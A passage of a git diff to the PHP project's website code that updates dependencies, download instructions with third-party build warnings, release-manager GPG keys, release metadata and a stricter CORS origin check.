@@ -4232,39 +4490,38 @@ "type": "tidelift" } ], - "time": "2025-08-04T07:05:15+00:00" + "time": "2026-03-24T13:12:05+00:00" }, { "name": "symfony/string", - "version": "v7.4.4", + "version": "v8.0.15", "source": { "type": "git", "url": "https://github.com/symfony/string.git", - "reference": "1c4b10461bf2ec27537b5f36105337262f5f5d6f" + "reference": "1a6a4245943af4dabe57d269bd0903f9d140a15e" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/string/zipball/1c4b10461bf2ec27537b5f36105337262f5f5d6f", - "reference": "1c4b10461bf2ec27537b5f36105337262f5f5d6f", + "url": "https://api.github.com/repos/symfony/string/zipball/1a6a4245943af4dabe57d269bd0903f9d140a15e", + "reference": "1a6a4245943af4dabe57d269bd0903f9d140a15e", "shasum": "" }, "require": { - "php": ">=8.2", - "symfony/deprecation-contracts": "^2.5|^3.0", - "symfony/polyfill-ctype": "~1.8", - "symfony/polyfill-intl-grapheme": "~1.33", - "symfony/polyfill-intl-normalizer": "~1.0", - "symfony/polyfill-mbstring": "~1.0" + "php": ">=8.4", + "symfony/polyfill-ctype": "^1.8", + "symfony/polyfill-intl-grapheme": "^1.33", + "symfony/polyfill-intl-normalizer": "^1.0", + "symfony/polyfill-mbstring": "^1.0" }, "conflict": { "symfony/translation-contracts": "<2.5" }, "require-dev": { - "symfony/emoji": "^7.1|^8.0", - "symfony/http-client": "^6.4|^7.0|^8.0", - "symfony/intl": "^6.4|^7.0|^8.0", + "symfony/emoji": "^7.4|^8.0", + "symfony/http-client": "^7.4|^8.0", + "symfony/intl": "^7.4|^8.0", "symfony/translation-contracts": "^2.5|^3.0", - "symfony/var-exporter": "^6.4|^7.0|^8.0" + "symfony/var-exporter": "^7.4|^8.0" }, "type": "library", "autoload": { @@ -4303,7 +4560,7 @@ "utf8" ], "support": { - "source": "https://github.com/symfony/string/tree/v7.4.4" + "source": "https://github.com/symfony/string/tree/v8.0.15" }, "funding": [ { @@ -4323,7 +4580,7 @@ "type": "tidelift" } ], - "time": "2026-01-12T10:54:30+00:00" + "time": "2026-07-28T07:34:23+00:00" }, { "name": "theseer/tokenizer", @@ -4382,13 +4639,13 @@ "prefer-stable": false, "prefer-lowest": false, "platform": { - "php": "~8.2.0" + "php": "~8.4.0" }, "platform-dev": { "ext-curl": "*" }, "platform-overrides": { - "php": "8.2.0" + "php": "8.4.0" }, - "plugin-api-version": "2.6.0" + "plugin-api-version": "2.9.0" } diff --git a/conferences/index.php b/conferences/index.php deleted file mode 100644 index f279da7f07..0000000000 --- a/conferences/index.php +++ /dev/null @@ -1,46 +0,0 @@ - '', - 'current' => 'community', - 'css' => ['home.css'], -]); - -$content = "
"; -$panels = '

Want to see your conference appear here?

'; - -foreach ((new NewsHandler())->getConferences() as $entry) { - $link = preg_replace('~^(http://php.net/|https://www.php.net/)~', '', $entry["id"]); - $id = parse_url($entry["id"], PHP_URL_FRAGMENT); - $date = date_format(date_create($entry["updated"] ?? $entry["published"]), 'Y-m-d'); - $content .= '
'; - $content .= '

' . $entry["title"] . '

'; - $content .= '
'; - - if (isset($entry["newsImage"])) { - $content .= sprintf('', $entry["newsImage"]["link"], $entry["newsImage"]["content"]); - } - - $content .= '
'; - $content .= '
'; - $content .= $entry["content"]; - $content .= '
'; - $content .= '
'; - - $panels .= sprintf('

%s

', $entry["newsImage"]["link"] ?? $link, $entry["title"]); -} -$content .= "
"; - -echo $content; - -site_footer([ - "atom" => "/feed.atom", - "elephpants" => true, - "sidebar" => $panels, -]); diff --git a/distributions b/distributions deleted file mode 160000 index 60d3227000..0000000000 --- a/distributions +++ /dev/null @@ -1 +0,0 @@ -Subproject commit 60d32270001234582d5681cd61b496082efe958a diff --git a/include/changelogs.inc b/include/changelogs.inc index 75898f3aa1..afbee4a68f 100644 --- a/include/changelogs.inc +++ b/include/changelogs.inc @@ -48,6 +48,8 @@ function changelog_header(int $major_version, array $minor_versions): void { 'current' => 'docs', 'css' => ['changelog.css'], 'layout_span' => 12, + 'cache' => true, + 'cache_control' => 30 * 60, // 30 minutes ]); echo "

PHP {$major_version} ChangeLog

\n"; $glue = ''; diff --git a/include/do-download.inc b/include/do-download.inc index b31f763b2c..06bb2b9798 100644 --- a/include/do-download.inc +++ b/include/do-download.inc @@ -6,6 +6,8 @@ we would like to know about (PHP binary or source). */ +use phpweb\ProjectGlobals; + function get_actual_download_file($file) { // Could be a normal download or a manual download file @@ -14,7 +16,7 @@ function get_actual_download_file($file) // Find out what is the exact file requested $found = false; foreach ($possible_files as $name => $log) { - if (@file_exists($_SERVER['DOCUMENT_ROOT'] . '/distributions/' . $name)) { + if (@file_exists(ProjectGlobals::getPublicRoot() . '/distributions/' . $name)) { $found = $name; break; } diff --git a/include/download-instructions/linux-debian-cli-community.php b/include/download-instructions/linux-debian-cli-community.php index fb19c4005f..00dc712cbc 100644 --- a/include/download-instructions/linux-debian-cli-community.php +++ b/include/download-instructions/linux-debian-cli-community.php @@ -1,10 +1,24 @@ +

-On the command line, run the following commands: + This installation method uses binaries provided by a third-party provider. + It contains patches to the PHP source code added by the build provider, + over which the PHP project has no control. +

+
+
+

+ Specifically, this provider includes a + patch that adds telemetry to the Apache 2 and PHP-FPM modules. +

+
+

+On the command line, run the commands below:


 # Add the packages.sury.org/php repository.
-sudo apt-get update
-sudo apt-get install -y lsb-release ca-certificates curl
+sudo apt update
+sudo apt install -y lsb-release ca-certificates curl
 sudo curl -sSLo /tmp/debsuryorg-archive-keyring.deb https://packages.sury.org/debsuryorg-archive-keyring.deb
 sudo dpkg -i /tmp/debsuryorg-archive-keyring.deb
 sudo tee /etc/apt/sources.list.d/php.sources <<EOF
@@ -14,8 +28,8 @@
 Components: main
 Signed-By: /usr/share/keyrings/debsuryorg-archive-keyring.gpg
 EOF
-sudo apt-get update
+sudo apt update
 
 # Install PHP.
-sudo apt-get install -y php
+sudo apt install -y php
 
diff --git a/include/download-instructions/linux-debian-cli-default.php b/include/download-instructions/linux-debian-cli-default.php index 534da00616..114758fa60 100644 --- a/include/download-instructions/linux-debian-cli-default.php +++ b/include/download-instructions/linux-debian-cli-default.php @@ -1,5 +1,12 @@ +

-On the command line, run the following commands: + This installation method uses binaries provided by your Linux distribution. + It contains patches to the PHP source code added by the build provider, + over which the PHP project has no control. +

+
+

+On the command line, run the commands below:


 # Update the package lists.
diff --git a/include/download-instructions/linux-fedora-cli-community.php b/include/download-instructions/linux-fedora-cli-community.php
index 3e406b988b..ecdc44d016 100644
--- a/include/download-instructions/linux-fedora-cli-community.php
+++ b/include/download-instructions/linux-fedora-cli-community.php
@@ -1,5 +1,12 @@
+

-On the command line, run the following commands: + This installation method uses binaries provided by a third-party provider. + It contains patches to the PHP source code added by the build provider, + over which the PHP project has no control. +

+
+

+On the command line, run the commands below:


 # Add the Remi's RPM repository.
diff --git a/include/download-instructions/linux-fedora-cli-default.php b/include/download-instructions/linux-fedora-cli-default.php
index 61d64d3c50..acb4b2b769 100644
--- a/include/download-instructions/linux-fedora-cli-default.php
+++ b/include/download-instructions/linux-fedora-cli-default.php
@@ -1,5 +1,12 @@
+

-On the command line, run the following commands: + This installation method uses binaries provided by your Linux distribution. + It contains patches to the PHP source code added by the build provider, + over which the PHP project has no control. +

+
+

+On the command line, run the commands below:


 # Install PHP.
diff --git a/include/download-instructions/linux-redhat-cli-community.php b/include/download-instructions/linux-redhat-cli-community.php
index 024609acfb..84d58e7987 100644
--- a/include/download-instructions/linux-redhat-cli-community.php
+++ b/include/download-instructions/linux-redhat-cli-community.php
@@ -1,5 +1,12 @@
+

-On the command line, run the following commands: + This installation method uses binaries provided by a third-party provider. + It contains patches to the PHP source code added by the build provider, + over which the PHP project has no control. +

+
+

+On the command line, run the commands below:


 # Add the Remi's RPM repository.
diff --git a/include/download-instructions/linux-redhat-cli-default.php b/include/download-instructions/linux-redhat-cli-default.php
index 61d64d3c50..acb4b2b769 100644
--- a/include/download-instructions/linux-redhat-cli-default.php
+++ b/include/download-instructions/linux-redhat-cli-default.php
@@ -1,5 +1,12 @@
+

-On the command line, run the following commands: + This installation method uses binaries provided by your Linux distribution. + It contains patches to the PHP source code added by the build provider, + over which the PHP project has no control. +

+
+

+On the command line, run the commands below:


 # Install PHP.
diff --git a/include/download-instructions/linux-ubuntu-cli-community.php b/include/download-instructions/linux-ubuntu-cli-community.php
index 100666c8ea..d325b48ca5 100644
--- a/include/download-instructions/linux-ubuntu-cli-community.php
+++ b/include/download-instructions/linux-ubuntu-cli-community.php
@@ -1,6 +1,17 @@
+

-On the command line, run the following commands: + This installation method uses binaries provided by a third-party provider. + It contains patches to the PHP source code added by the build provider, + over which the PHP project has no control.

+
+
+

+ Specifically, this provider includes a + patch that adds telemetry to the Apache 2 and PHP-FPM modules. +

+

 # Add the ondrej/php repository.
 sudo apt update
diff --git a/include/download-instructions/linux-ubuntu-cli-default.php b/include/download-instructions/linux-ubuntu-cli-default.php
index 534da00616..114758fa60 100644
--- a/include/download-instructions/linux-ubuntu-cli-default.php
+++ b/include/download-instructions/linux-ubuntu-cli-default.php
@@ -1,5 +1,12 @@
+

-On the command line, run the following commands: + This installation method uses binaries provided by your Linux distribution. + It contains patches to the PHP source code added by the build provider, + over which the PHP project has no control. +

+
+

+On the command line, run the commands below:


 # Update the package lists.
diff --git a/include/download-instructions/windows-downloads.php b/include/download-instructions/windows-downloads.php
index 89e7525bcc..5d0e64da3b 100644
--- a/include/download-instructions/windows-downloads.php
+++ b/include/download-instructions/windows-downloads.php
@@ -1,7 +1,10 @@
 ' . $mt . ' UTC' : ''));
 }
 
+function ws_has_sbom(string $version, string $fullVersion): bool {
+	if (version_compare($version, '8.6', '>=')) {
+		return true;
+	}
+
+	$minimumVersions = [
+		'8.2' => '8.2.33',
+		'8.3' => '8.3.33',
+		'8.4' => '8.4.24',
+		'8.5' => '8.5.9',
+	];
+
+	return isset($minimumVersions[$version]) && version_compare($fullVersion, $minimumVersions[$version], '>=');
+}
+
+$hasSbom = ws_has_sbom($version, $fullVersion);
+
+echo <<<'HTML'
+Architecture
+

It is recommended to use x64 builds of PHP as almost all Windows installations currently support x64.

+Thread Safety +

NTS builds are for single-threaded use cases, typically PHP running via FastCGI or on the CLI. TS builds support multithreaded SAPIs and are intended for PHP loaded as a web server module. So, if you want to use PHP as FastCGI with IIS, use the Non-Thread Safe (NTS) builds of PHP, or if you want to use the Apache HTTP Server, use the Thread Safe (TS) builds of PHP.

+Visual Studio Versions +

The builds below are built using Visual Studio 2019 (VS16) or Visual Studio 2022 (VS17) compiler. They require the Visual C++ Redistributable for Visual Studio 2015-2022 x64 or x86 installed.

+HTML; + echo '

PHP ' . htmlspecialchars($version) . ' (' . $fullVersion . ')

'; if (!empty($verBlock['source']['path'])) { @@ -97,7 +128,13 @@ function ws_build_label(string $k, array $entry): string { if (!empty($entry[$type]['path'])) { $p = $entry[$type]['path']; echo "\t", '

' . $package_names[$type] . ' ' . $entry[$type]['size'] . '
', PHP_EOL; - echo "\t", 'sha256: ' . $entry[$type]['sha256'] ?? '' . '

', PHP_EOL; + if (!empty($entry[$type]['sha256'])) { + echo "\t", sha256_html($entry[$type]['sha256']), PHP_EOL; + } + if ($type === 'zip' && $hasSbom) { + echo "\t", 'SPDX|CDX', PHP_EOL; + } + echo '

', PHP_EOL; } } diff --git a/include/errors.inc b/include/errors.inc index 6bc9cf6c74..b21a75d780 100644 --- a/include/errors.inc +++ b/include/errors.inc @@ -6,6 +6,7 @@ */ use phpweb\I18n\Languages; +use phpweb\ProjectGlobals; // A 'good looking' 404 error message page function error_404(): void @@ -578,7 +579,7 @@ function is_known_snippet(string $term): ?string { */ function get_legacy_manual_urls(string $uri): array { - $filename = $_SERVER["DOCUMENT_ROOT"] . "/manual/legacyurls.json"; + $filename = ProjectGlobals::getPublicRoot() . "/manual/legacyurls.json"; $pages_ids = json_decode(file_get_contents($filename), true); $page_id = preg_replace_callback('/^manual\/[a-z_A-Z]+\/(.*?)(\.php)?$/', function (array $matches): string { if (count($matches) < 2) { diff --git a/include/footer.inc b/include/footer.inc index faa7305d68..c488a5ab96 100644 --- a/include/footer.inc +++ b/include/footer.inc @@ -1,3 +1,8 @@ + - - - ' . "\n"; } ?> ' . "\n"; } ?> diff --git a/include/get-download.inc b/include/get-download.inc index 2aeb1aa896..78abe3cb59 100644 --- a/include/get-download.inc +++ b/include/get-download.inc @@ -1,5 +1,7 @@ "; + case 'mbeccati': + return + "pub ed25519 2026-04-16 [SC]\n" . + " 0168 95DE 9A47 5111 D537 A6E6 9134 FF30 BC5A 99B5\n" . + "uid [ full ] Matteo Beccati \n" . + "sub cv25519 2026-04-16 [E]"; + case 'patrickallaert': return "pub rsa4096 2021-04-01 [SC]\n" . @@ -177,6 +184,13 @@ function gpg_key_get(string $rm): ?string { "uid Stanislav Malyshev (PHP key) \n" . "uid Stanislav Malyshev (PHP key) "; + case 'svpernova09': + return + "pub rsa4096 2026-04-16 [SC] [expires: 2031-04-15]\n" . + " 5CFF 17B6 4DC1 C244 F5D0 EAC3 E435 35E2 EB19 010E\n" . + "uid [ full ] Joe Ferguson (PHP) \n" . + "sub rsa4096 2026-04-16 [E] [expires: 2031-04-15]"; + case 'tyrael': return "pub 2048R/33CFC8B3 2014-01-14 [expires: 2020-01-13]\n" . @@ -190,6 +204,7 @@ function gpg_key_get(string $rm): ?string { function gpg_key_get_branches(bool $activeOnly): array { $branches = [ + '8.6' => ['daniels', 'mbeccati', 'svpernova09'], '8.5' => ['pierrick', 'edorian', 'daniels'], '8.4' => ['ericmann', 'calvinb', 'saki'], '8.3' => ['pierrick', 'ericmann', 'bukka'], diff --git a/include/header.inc b/include/header.inc index 0f4f0553c5..ed45ec2fae 100644 --- a/include/header.inc +++ b/include/header.inc @@ -1,4 +1,7 @@ &f="> - - "> - - @@ -321,7 +329,7 @@ if (!isset($config["languages"])) {
diff --git a/include/layout.inc b/include/layout.inc index 02b6f733ca..31bfebe9ae 100644 --- a/include/layout.inc +++ b/include/layout.inc @@ -3,6 +3,7 @@ use phpweb\I18n\Languages; use phpweb\Navigation\NavItem; use phpweb\News\NewsHandler; +use phpweb\ProjectGlobals; $_SERVER['STATIC_ROOT'] = $MYSITE; $_SERVER['MYSITE'] = $MYSITE; @@ -95,7 +96,7 @@ function make_image($file, $alt = false, $align = false, $extras = false, $webdir = $_SERVER['MYSITE'] . ($dir[0] == '/' ? '' : '/') . $dir; // Get width and height values if possible - if ($addsize && ($size = @getimagesize($_SERVER['DOCUMENT_ROOT'] . "$dir/$file"))) { + if ($addsize && ($size = @getimagesize(ProjectGlobals::getPublicRoot() . "$dir/$file"))) { $sizeparams = ' ' . trim($size[3]); } else { $sizeparams = ''; @@ -366,6 +367,21 @@ function news_archive_sidebar(): void } } +// Get Last-Modified timestamp for a year's archive page: +// mtime of file or latest article, whichever is newer +/** @param list> $news */ +function news_archive_last_modified(array $news, string $pageFile): int +{ + $timestamps = array_map(static fn (array $entry): int => strtotime($entry['published']), $news); + + $mtime = filemtime($pageFile); + if ($mtime !== false) { + $timestamps[] = $mtime; + } + + return $timestamps === [] ? time() : max($timestamps); +} + // Print news function print_news($news, $dog, $max = 5, $return = false) { $retval = []; @@ -456,6 +472,7 @@ function site_header(?string $title = NULL, array $config = []): void 'classes' => '', 'layout_span' => 9, "cache" => false, + 'cache_control' => false, "headsup" => "", 'meta_tags' => << @@ -486,11 +503,6 @@ META $curr = $config["current"]; $classes = $config['classes']; - if (isset($_COOKIE["MD"]) || isset($_GET["MD"])) { - $classes .= "markdown-content"; - $config["css_overwrite"] = ["/styles/i-love-markdown.css"]; - } - // shorturl; http://wiki.snaplog.com/short_url if (isset($_SERVER['BASE_PAGE']) && $shortname = get_shortname($_SERVER["BASE_PAGE"])) { $shorturl = "https://www.php.net/" . $shortname; @@ -503,6 +515,27 @@ function site_footer(array $config = []): void require __DIR__ . "/footer.inc"; } +// Render the shared footer template to a string +function fancy_footer(string $extraCredit = ''): string +{ + // Credit manual/documentation pages to the PHP Documentation Group; + // everything else to the PHP Group. + $copyrightHolder = (!empty($_SERVER['BASE_PAGE']) && str_starts_with($_SERVER['BASE_PAGE'], 'manual/')) + ? 'The PHP Documentation Group' + : 'The PHP Group'; + + ob_start(); + require __DIR__ . "/shared-footer.inc"; + return (string) ob_get_clean(); +} + +function sha256_html(string $checksum): string +{ + $checksum = htmlspecialchars($checksum, ENT_QUOTES, 'UTF-8'); + + return '' . $checksum . ''; +} + function get_nav_items(): array { return [ new NavItem( @@ -526,10 +559,10 @@ function get_nav_items(): array { id: 'help', ), new NavItem( - name: 'PHP 8.5', - href: '/releases/8.5/index.php', + name: 'PHP 8.6', + href: '/releases/8.6/index.php', id: 'php8', - image: '/images/php8/logo_php8_5.svg', + image: '/images/php8/logo_php8_6.svg', ) ]; } @@ -564,12 +597,12 @@ function get_news_changes() } function doc_toc($lang): void { - $file = __DIR__ . "/../manual/$lang/toc/index.inc"; + $file = ProjectGlobals::getPublicRoot() . "/manual/$lang/toc/index.inc"; if (!file_exists($file)) { - $lang = "en"; // Fallback on english if the translation doesn't exist - $file = __DIR__ . "/../manual/en/toc/index.inc"; + $lang = "en"; // Fallback on English if the translation doesn't exist + $file = ProjectGlobals::getPublicRoot() . "/manual/en/toc/index.inc"; } - require __DIR__ . "/../manual/$lang/toc/index.inc"; + require ProjectGlobals::getPublicRoot() . "/manual/$lang/toc/index.inc"; echo "
\n"; doc_toc_list($lang, $TOC, "getting-started"); @@ -611,7 +644,7 @@ function doc_toc($lang): void { } function doc_toc_list($lang, $index, $file): void { - include __DIR__ . "/../manual/$lang/toc/$file.inc"; + include ProjectGlobals::getPublicRoot() . "/manual/$lang/toc/$file.inc"; doc_toc_title($lang, $index, $file); foreach ($TOC as $entry) { diff --git a/include/manual-lookup.inc b/include/manual-lookup.inc index 9d3ff4d141..8d988041d1 100644 --- a/include/manual-lookup.inc +++ b/include/manual-lookup.inc @@ -1,7 +1,9 @@ true, PDO::ATTR_EMULATE_PREPARES => true] ); + // Check prepare()/execute() for false to fall back to the slow search + $dbh = new PDO( 'sqlite:' . ProjectGlobals::getBackendRoot() . '/manual-lookup.sqlite', '', '', [PDO::ATTR_PERSISTENT => true, PDO::ATTR_EMULATE_PREPARES => true, PDO::ATTR_ERRMODE => PDO::ERRMODE_SILENT] ); } catch (PDOException $e) { return find_manual_page_slow($lang, $keyword); } @@ -204,12 +207,13 @@ function find_manual_page($lang, $keyword) // But does the file really exist? // @todo consider redirecting here, instead of including content within the 404 // @todo considering the file path is generated from the manual build, we can probably remove this file_exists() check - if (file_exists($_SERVER["DOCUMENT_ROOT"] . $r[0])) { + if (file_exists(ProjectGlobals::getPublicRoot() . $r[0])) { return $r[0]; } } } else { - error_noservice(); + // prepare() failed, fall back to the slow search + return find_manual_page_slow($langs[0], $kw); } } diff --git a/include/prepend.inc b/include/prepend.inc index ad51075da4..3df72f7f64 100644 --- a/include/prepend.inc +++ b/include/prepend.inc @@ -21,20 +21,39 @@ header("Permissions-Policy: interest-cohort=()"); /* Fix Silly Same Origin Policies */ (function (): void { + // The presence of CORS headers below depends on the Origin request header, + // so shared caches must not reuse a response across different origins. + header("Vary: Origin", false); + if (!isset($_SERVER["HTTP_ORIGIN"])) { return; } + // Browsers send a literal "null" origin for sandboxed iframes, documents + // loaded from data:/file: URLs and some cross origin redirects. parse_url() + // reports no host at all for those, so treat them as untrusted. $host = parse_url($_SERVER["HTTP_ORIGIN"]); - if (strncmp(strrev($host["host"]), strrev("php.net"), strlen("php.net")) != 0) { - if ($host["host"] != $_SERVER["SERVER_NAME"]) { - exit(10); + $hostname = $host["host"] ?? ""; + + $isTrustedOrigin = $hostname !== "" && ( + preg_match('/^(.+\.)?php\.net$/', $hostname) === 1 + || $hostname === ($_SERVER["SERVER_NAME"] ?? "") + ); + + if (!$isTrustedOrigin) { + // Serve the page normally, only without any CORS headers. + if (in_array($_SERVER["REQUEST_METHOD"] ?? "GET", ["GET", "HEAD", "OPTIONS"], true)) { + return; } + + // Never respond with an empty body here: that is what ended up cached. + header("Cache-Control: no-store"); + http_response_code(403); + exit("Cross-origin requests are not allowed for this endpoint.\n"); } + if (isset($host["port"])) { - $hostname = $host["host"] . ":" . $host["port"]; - } else { - $hostname = $host["host"]; + $hostname .= ":" . $host["port"]; } header("Access-Control-Allow-Origin: http://$hostname"); diff --git a/include/release-qa.php b/include/release-qa.php index 90841022c8..78da37938d 100644 --- a/include/release-qa.php +++ b/include/release-qa.php @@ -58,7 +58,7 @@ ], ], - '8.3.30' => [ + '8.3.31' => [ 'active' => true, 'release' => [ 'type' => 'RC', @@ -66,34 +66,47 @@ 'sha256_bz2' => '', 'sha256_gz' => '', 'sha256_xz' => '', - 'date' => '01 Jan 2026', + 'date' => '07 May 2026', 'baseurl' => 'https://downloads.php.net/', ], ], - '8.4.18' => [ + '8.4.28' => [ 'active' => true, 'release' => [ 'type' => 'RC', - 'number' => 0, - 'sha256_bz2' => '', - 'sha256_gz' => '', - 'sha256_xz' => '', - 'date' => '29 Jan 2026', - 'baseurl' => 'https://downloads.php.net/', + 'number' => 1, + 'sha256_bz2' => '22add2dccb59c967e12b6be46377133d2fa43373ebf26957cf9ef1b4f29c6150', + 'sha256_gz' => '88c9127c40a464f19249cf5f111f2b6b4d67cd2f4ecbe3b57786921103d61103', + 'sha256_xz' => '1d37bf6de7dd78d1cdc233709ce86c4c38825b9ad61d5790862783718087c87d', + 'date' => '05 November 2026', + 'baseurl' => 'https://downloads.php.net/~saki/', ], ], - '8.5.4' => [ + '8.5.13' => [ 'active' => true, 'release' => [ 'type' => 'RC', 'number' => 1, - 'sha256_bz2' => '75e8dc8e6c44ba3448ab3ce7b1b49b8e9d383b4aa3aa9c3c0f8d76a2101f98f1', - 'sha256_gz' => '33681975c07c5f135c350663b842bf90872eb4b1b7261d6b8b3df019985e0d36', - 'sha256_xz' => '1919770134558df7eda8e439304cb8107cffe86e7d794f6ead60b6be8424a98b', - 'date' => '26 Feb 2026', - 'baseurl' => 'https://downloads.php.net/~daniels/', + 'sha256_bz2' => 'bafc2cd487e3f9366ac22d6da421b674539c6a0454573bc2380f5525efdb6199', + 'sha256_gz' => '1e58c71d6dfdaf6748b5419ed12b485e01a1da755400b1213b241c2029752dd5', + 'sha256_xz' => 'dd6fa1450ecb0ca96c081adbb1b0691facf6e6492d9a127960f295ec20bdca8f', + 'date' => '05 November 2026', + 'baseurl' => 'https://downloads.php.net/~edorian/', + ], + ], + + '8.6.0' => [ + 'active' => true, + 'release' => [ + 'type' => 'RC', + 'number' => 7, + 'sha256_bz2' => 'c3461997f9ad49935e550867f03e6aa13ad589f6ed360bb39a4ae752d482c7cd', + 'sha256_gz' => '68b753e1d45e1417c6874008500de66102963cf0791e8c541211e9386318722e', + 'sha256_xz' => '63dba3b693d2f2689f12d5264d212d7b813acfd56fb375c620d04e1eef4bb00a', + 'date' => '12 November 2026', + 'baseurl' => 'https://downloads.php.net/~svpernova09/', ], ], ]; @@ -115,44 +128,60 @@ // release : These are encouraged for use (e.g., linked at qa.php.net) // reported : These are allowed to report @ the php.qa.reports mailing list -(function(&$QA_RELEASES) use ($QA_CHECKSUM_TYPES) { - foreach ($QA_RELEASES as $pversion => $info) { +$process_qa_releases = /** + * @param array $qa_releases + * @param list $checksum_types + * @return array + */ +static function(array $qa_releases, array $checksum_types): array { + foreach ($qa_releases as $pversion => $info) { if (isset($info['active']) && $info['active']) { // Allow -dev versions of all active types // Example: 5.3.6-dev - $QA_RELEASES['reported'][] = "{$pversion}-dev"; - $QA_RELEASES[$pversion]['dev_version'] = "{$pversion}-dev"; + $qa_releases['reported'][] = "{$pversion}-dev"; + $qa_releases[$pversion]['dev_version'] = "{$pversion}-dev"; // Allow -dev version of upcoming qa releases (rc/alpha/beta) // @todo confirm this php version format for all dev versions if ((int)$info['release']['number'] > 0) { - $QA_RELEASES['reported'][] = "{$pversion}{$info['release']['type']}{$info['release']['number']}"; + $qa_releases['reported'][] = "{$pversion}{$info['release']['type']}{$info['release']['number']}"; if (!empty($info['release']['baseurl'])) { // php.net filename format for qa releases // example: php-5.3.0RC2 $fn_base = 'php-' . $pversion . $info['release']['type'] . $info['release']['number']; - $QA_RELEASES[$pversion]['release']['version'] = $pversion . $info['release']['type'] . $info['release']['number']; + $qa_releases[$pversion]['release']['version'] = $pversion . $info['release']['type'] . $info['release']['number']; foreach ([ 'bz2', 'gz', 'xz' ] as $file_type) { - foreach ($QA_CHECKSUM_TYPES as $algo) { + foreach ($checksum_types as $algo) { if (isset($info['release'][$algo . '_' . $file_type])) { - $QA_RELEASES[$pversion]['release']['files'][$file_type][$algo] = $info['release'][$algo . '_' . $file_type]; + $qa_releases[$pversion]['release']['files'][$file_type][$algo] = $info['release'][$algo . '_' . $file_type]; } } - if (!empty($QA_RELEASES[$pversion]['release']['files'][$file_type])) { - $QA_RELEASES[$pversion]['release']['files'][$file_type]['path']= $info['release']['baseurl'] . $fn_base . '.tar.' . $file_type; + if (!empty($qa_releases[$pversion]['release']['files'][$file_type])) { + $qa_releases[$pversion]['release']['files'][$file_type]['path']= $info['release']['baseurl'] . $fn_base . '.tar.' . $file_type; } } - if (empty($QA_RELEASES[$pversion]['release']['files'])) { - $QA_RELEASES[$pversion]['release']['enabled'] = false; + if (empty($qa_releases[$pversion]['release']['files'])) { + $qa_releases[$pversion]['release']['enabled'] = false; } } } else { - $QA_RELEASES[$pversion]['release']['enabled'] = false; + $qa_releases[$pversion]['release']['enabled'] = false; } } @@ -160,11 +189,15 @@ // Sorted information for later use // @todo need these? - // $QA_RELEASES['releases'] : All current versions with active qa releases - foreach ($QA_RELEASES as $pversion => $info) { + // $qa_releases['releases'] : All current versions with active qa releases + foreach ($qa_releases as $pversion => $info) { if (isset($info['active']) && $info['active'] && !empty($info['release']['number'])) { - $QA_RELEASES['releases'][$pversion] = $info['release']; + $qa_releases['releases'][$pversion] = $info['release']; } } -})($QA_RELEASES); + return $qa_releases; +}; + +$QA_RELEASES = $process_qa_releases($QA_RELEASES, $QA_CHECKSUM_TYPES); +unset($process_qa_releases); diff --git a/include/releases.inc b/include/releases.inc index e49510641a..ee0741c69e 100644 --- a/include/releases.inc +++ b/include/releases.inc @@ -2,6 +2,1033 @@ $OLDRELEASES = array ( 8 => array ( + '8.5.11' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_5_11.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '24 Sep 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.5.11.tar.gz', + 'name' => 'PHP 8.5.11 (tar.gz)', + 'sha256' => '338630ba9450f0b938bef8d740162c61c33bf64a1b421c6333c01df8a9fdb0ab', + 'date' => '24 Sep 2026', + ), + 1 => + array ( + 'filename' => 'php-8.5.11.tar.bz2', + 'name' => 'PHP 8.5.11 (tar.bz2)', + 'sha256' => 'dc940716a8c73e531c0078eecb955d595d321ec2cc9d47149cf0089ea6e18f64', + 'date' => '24 Sep 2026', + ), + 2 => + array ( + 'filename' => 'php-8.5.11.tar.xz', + 'name' => 'PHP 8.5.11 (tar.xz)', + 'sha256' => 'd9be75c08e8c316f4c8f4194d8fbe1750a15f6a6d9d4e3fe72082abeeb800360', + 'date' => '24 Sep 2026', + ), + ), + 'museum' => false, + ), + '8.4.26' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_4_26.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '24 Sep 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.4.26.tar.gz', + 'name' => 'PHP 8.4.26 (tar.gz)', + 'sha256' => 'c248abaebc4bb777b80968f0760da0da8e989836e896c9ff637b6775d7d37662', + 'date' => '24 Sep 2026', + ), + 1 => + array ( + 'filename' => 'php-8.4.26.tar.bz2', + 'name' => 'PHP 8.4.26 (tar.bz2)', + 'sha256' => '4209694d7b0f63c45a3773e07cdc2bbfc71249265a5d951b1ff53e1147edc5ca', + 'date' => '24 Sep 2026', + ), + 2 => + array ( + 'filename' => 'php-8.4.26.tar.xz', + 'name' => 'PHP 8.4.26 (tar.xz)', + 'sha256' => '32a2de53862ad44ed4a5005244ce4f1b50c271e74dced215449a4443b40569f1', + 'date' => '24 Sep 2026', + ), + ), + 'museum' => false, + ), + '8.3.35' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_3_35.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '24 Sep 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.3.35.tar.gz', + 'name' => 'PHP 8.3.35 (tar.gz)', + 'sha256' => 'e60396276fd57e8210f88919d9acd4aab98d65fbb7f431c13285ca1fb04ff205', + 'date' => '24 Sep 2026', + ), + 1 => + array ( + 'filename' => 'php-8.3.35.tar.bz2', + 'name' => 'PHP 8.3.35 (tar.bz2)', + 'sha256' => 'e279d9ec90d9bcab900d146816e5b11d3e8924b80e2ba36c7d7dae7d71dcbf2d', + 'date' => '24 Sep 2026', + ), + 2 => + array ( + 'filename' => 'php-8.3.35.tar.xz', + 'name' => 'PHP 8.3.35 (tar.xz)', + 'sha256' => 'ff4630fbbbd94359134b7d3c223db59329905bdc4f5a9ef93d257b48e358619a', + 'date' => '24 Sep 2026', + ), + ), + 'museum' => false, + ), + '8.2.34' => + array ( + 'announcement' => + array ( + 'English' => '/releases/8_2_34.php', + ), + 'tags' => + array ( + 0 => 'security', + ), + 'date' => '24 Sep 2026', + 'source' => + array ( + 0 => + array ( + 'filename' => 'php-8.2.34.tar.gz', + 'name' => 'PHP 8.2.34 (tar.gz)', + 'sha256' => 'b42a58817acdf3e672d497a8f5314c1ee801b4ca94ebae41878bd29cf7764105', + 'date' => '24 Sep 2026', + ), + 1 => + array ( + 'filename' => 